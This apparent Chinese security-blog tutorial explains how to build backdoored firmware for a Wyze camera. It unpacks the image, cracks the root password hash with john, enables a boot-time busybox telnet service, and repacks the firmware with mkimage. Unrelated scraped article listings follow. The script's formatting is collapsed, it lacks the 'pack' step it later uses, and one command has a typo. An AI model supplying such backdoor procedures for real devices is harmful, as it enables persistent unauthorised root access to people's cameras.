点击蓝字

关注我们

声明

本文作者:GitCloud

本文字数:1000

阅读时长:10分钟

附件/链接:点击查看原文下载

声明:请勿用作违法用途,否则后果自负

本文属于WgpSec原创奖励计划,未经许可禁止转载

前言

在现代生活中,IOT的身影无处不在。我们今天就来看一下怎么制作一个摄像头恶意固件,由于我们没有该设备,所以无法为大家实体演示,后期文章中将会给大家展现其他IOT设备效果。提示一下,本文仅供安全研究,不得用于非法用途

一、

制作摄像头恶意固件

该固件是wyze摄像头固件,固件版本是demo_v2_4.9.5.36

首先使用binwalk分析一下固件

binwalk -t demo_v2_4.9.5.36.bin

第一部分uimage中,告诉了我们很多基础信息

第二部分uimage中,可以发现内涵位Linux-3.10.14

第三部分是两个squashfs文件系统(该文件系统属性是只读)

第四部分是一个jffs2文件系统

一般我们用常规的binwalk提取的方法如:binwalk -e,提取的文件不方便打包,所以可以用一个脚步来提取文件

#!/usr/bin/env python3import sysclass Firmwarepart:    def __init__(self,name,offset,size):        self.name = name        self.offset = offset        self.size = sizefirmware_parts = [    Firmwarepart("uimage_header",0x0,0x40),    Firmwarepart("uimage_kernel",0x40,0x200000),    Firmwarepart("squashfs_1",0x200040,0x350000),    Firmwarepart("squashfs_2",0x550040,0xa0000),    Firmwarepart("jffs2",0x5F0040,11075648-0x5F0040)]if sys.argv[1] == 'unpack':    f = open(sys.argv[2],"rb")    for part in firmware_parts:        outfile = open(part.name,"wb")        f.seek(part.offset,0)        data = f.read(part.size)        outfile.write(data)        outfile.close()        print(f"Wrote {part.name} - {hex(len(data))} bytes.")

二、

运行

python3 root_extractor.py unpack demo_v2_4.9.5.36.bin

对于squashFS文件系统的提取,使用unsquashfs来实现:

unsquashfs -d squashfs_1_out squashfs_1unsquashfs -d squashfs_2_out squashfs_2

对于jff2文件系统的提取,使用jefferson实现:

jefferson -d jffs2_out jffs2

将文件提取完成后,检查所提取文件中的敏感信息

shadow文件如下

通过john进行爆破出来该root密码

john --fork=4 shadow

当我们知道root密码时,如果开启了ssh服务,我们就可以通过ssh登陆到主机

这里我们找一下系统启动项:

vi etc/init.d/rcs

可以看到系统在启动时是启动了telnet服务,但是实际上telnet服务通过端口扫描发现并未启动

在解包后的固件里直接搜索

grep -r telnet .

strings ./jffs2_out/fs_1/bin/iCamera | grep telnet

可以发现在icamera文件里,Telnet服务被禁用掉了

实际上,在该摄像头里Telnet服务实际上为busybox中的Telnet,我需要找到启动脚本,然后将其修改为:

busybox telnetf &

该脚本在squashfs_1_out/etc/init.d/rc中

vim squashfs_1_out/etc/init.d/rcS

该完之后这个服务就不会被kill掉了,接下来我们要将这几个文件系统重新打包并生成固件。

使用unsquashfs查看一下原来的文件系统信息:

unsquashfs -s squashfs_1

接下来使用mksquashfs命令将更改后的新文件系统打包

mksquashfs squashfs_1_out/ squashfs_1_new -comp xz -b 131072

再将之前的程序加上一个打包功能,这样就可以把这个两个squashfs文件系统和jffs文件系统打包起来

python3 root_extractor.py  pack demo_backdoored.bin

这样我们仅仅将文件系统打包,至于生成镜像的uImage header部分我们使用其他工具,先使用binwalk 查看一下

binwalk -t uimage_header

接下来使用mkimage来生成镜像

mkimage -A MIPS -O linux -T firmware -C none -a 0 -e 0 -n jz_fw -d demo_backdoored.bin demo_images.bin

再用binwalk查看demo_images.bin

binwalk -t demo_images.bin

可以看到我们生成的镜像和之前几乎相同

将该固件应用于摄像头中我们就可以实现用root账号登录管理摄像通了

参考

https://www.youtube.com/watch?v=hV8W4o-Mu2o

后记

所以大家在使用IOT设备的时候一定要注意固件来源,不要图方便就去网盘或下载站下载。

团队招收 IOT/二进制/免杀 安全研究的同学~

有想法的简历砸 admin@wgpsec.org

预告下,月底12.31日 是团队成立六周年的纪念日,将会有活动哦~

扫描关注公众号回复加群

和师傅们一起讨论研究~

WgpSec狼组安全团队

微信号:wgpsec

Twitter:@wgpsec

安卓bin固件文件编辑器_摄像头恶意固件制作指南相关推荐

  1. 移动魔百盒CM311-1sa_ZG代工_S905L3A 安卓9.0 鸿蒙动画_线刷固件包

    移动魔-百-盒CM311-1sa_ZG代工_S905L3A 安卓9.0 鸿-蒙-动-画_线-刷固件包 特点: 1.适用于对应型号的电视盒子刷机: 2.开放原厂固件屏蔽的市场安装和u盘安装apk: 3. ...

  2. md文件编辑器_可能是颜值最高的微信Markdown编辑器,用Markdown的你一定会爱上

    不论是新媒体小编还是拥有自己公众号的开发者和开源组织,一定想要一个能够快速编辑且成品美观大方的编辑器.毕竟微信自带的编辑器功能有限,市面上其他编辑器功能又过于繁多,尤其对于开发者来说,文章中插入代码块 ...

  3. 基于安卓的备忘录文件加密_手机里面还隐藏一个扫描仪功能,以后扫描文件,都不用去复印店了...

    手机里面还隐藏一个扫描仪功能,以后扫描文件,都不用去复印店了 办公党肯定深有体会,经常需要扫描文档,一般办公室都有扫描仪,如果在家肯定要去附近的复印店进行扫描. 其实这些方法或多或少都很麻烦,因为现在 ...

  4. 安卓大json文件解析_安卓解析 json 4种格式 全解析

    1  简单的一个  { ,,,,} 2  里面有数组 { , [{,,},{,,}],} 3 直接一个数组 4 数组里有数组 5 其他情况? 没有吧,除非json格式不规范 主代码: package ...

  5. 基于安卓的备忘录文件加密_苹果备忘录、锤子便签、印象笔记哪个更好用?

    如今手机的备忘录已经成为我们手机中必不可少的一个APP,无论是工作或是生活中,备忘录都可以帮助我们记下一些容易忘记或是将要处理的事情.但现在的备忘录除了记事还新增了许多其他的功能.今天小黑例举了三个大 ...

  6. 基于安卓的备忘录文件加密_什么备忘录便签app可以让人爱上记录 - 学显

    不知道大家有没有注意过这么一群人:他们很喜欢记录,平时日常生活中不管遇到什么事儿,都喜欢记下来.不知道大家身边有没有这样的人,反正小编身边是有的.感觉他们真的很有心.不过,现在是移动互联网时代了,都改 ...

  7. 电子病历模板编辑器_实用的电子相册制作软件

    一款自己制作的电子相册不仅富有創意,而且能够最大可能的满足需要己需,今天小编介绍的就是五款好使的电子相册制作软件. 一.印记工坊在线制作电子相册 印记工坊(http://www.ppmake.com) ...

  8. ps快捷图标在哪个文件夹_在PS中制作一个下载文件夹的图标

    在PS中制作一个下载文件夹的图标 出处:多特软件站  时间:2011-03-17  人气:1287我要提问我来说两句 核心提示:在这个教程里,我们将介绍到如何在PS中运用不同的形状和反射制作一个下载文 ...

  9. h5页面怎么处理文件流_微信H5页面制作流程,大家有哪些经验分享?

    完整的H5页面的制作流程为:策划案--原型图--文案拟定--视觉设计--动画设计--音效编辑--代码或工具实现--上线 这是一种比较理想的作业流程,一般到了一定规模的制作公司会采用这种方式.如果公司的 ...

  10. 华为EC6108V9E/EC6108V9I_rk3228_安卓4.4.4_通刷_卡刷固件包

    华为EC6108V9E/EC6108V9I_rk3228_安卓4.4.4_通刷_卡刷固件包-内有教程 特点: 1.适用于对应型号的电视盒子刷机: 2.开放原厂固件屏蔽的市场安装和u盘安装apk: 3. ...

最新文章

  1. NR 5G RRC连接重建
  2. 【数据结构】栈的压入、弹出序列
  3. 百度富文本编辑jsp上传_百度富文本编辑器教程,从入门到放弃
  4. 使命召唤手游迎来欧阳娜娜,这阵容够豪华,玩家期待吗?
  5. python初学者代码示例_python实现手势识别的示例(入门)
  6. oracle连接数一直超出,Oracle超出最大連接數問題及解決(…
  7. ansible的错误
  8. 理论基础 —— 线性表 —— 顺序表
  9. Linux下配置服务器节点上的时区
  10. 【leetcode刷题笔记】Convert Sorted Array to Binary Search Tree
  11. 一个可以免费下载英文书籍的网站
  12. 安卓一键清理内存_雨点清理下载-雨点清理v1.6手机下载
  13. 查看计算机远程端口,如何查看服务器远程端口号.doc
  14. ai边缘平滑_Illustrator初学者的问题 AI新增页面 AI形状 渐变以后边缘有锯齿 修整工具...
  15. java生成word报告echart_Java这几个用 Pyecharts 做出来的交互图表,领导说叼爆了!...
  16. BTC系列 - UTXO事务模型
  17. Flatten()详解
  18. 第二章(二)、开发注册功能
  19. 网络流24题——2.太空飞行计划问题
  20. bitwarden自建服务器,自建bitwarden的密码服务

热门文章

  1. Live Mesh - Synchronizing life
  2. 为什么 Math.min() 比 Math.max() 大?
  3. 高并发、高访问量如何计算【测试评估】
  4. 摄像机成像原理图解析
  5. win7/64位下python2.7、easy_install安装经验
  6. -lc++ 和 添加 libc++.tbd 居然是等价的
  7. linux下赋予普通用户管理员权限
  8. Python 之 新手安装详解 、安装目录说明 及 修改 pip 默认包安装位置
  9. 计算机一级b考试电子表格,计算机等级考试一级B第1-50套题
  10. android 进程池 参数,Android 线程池全解析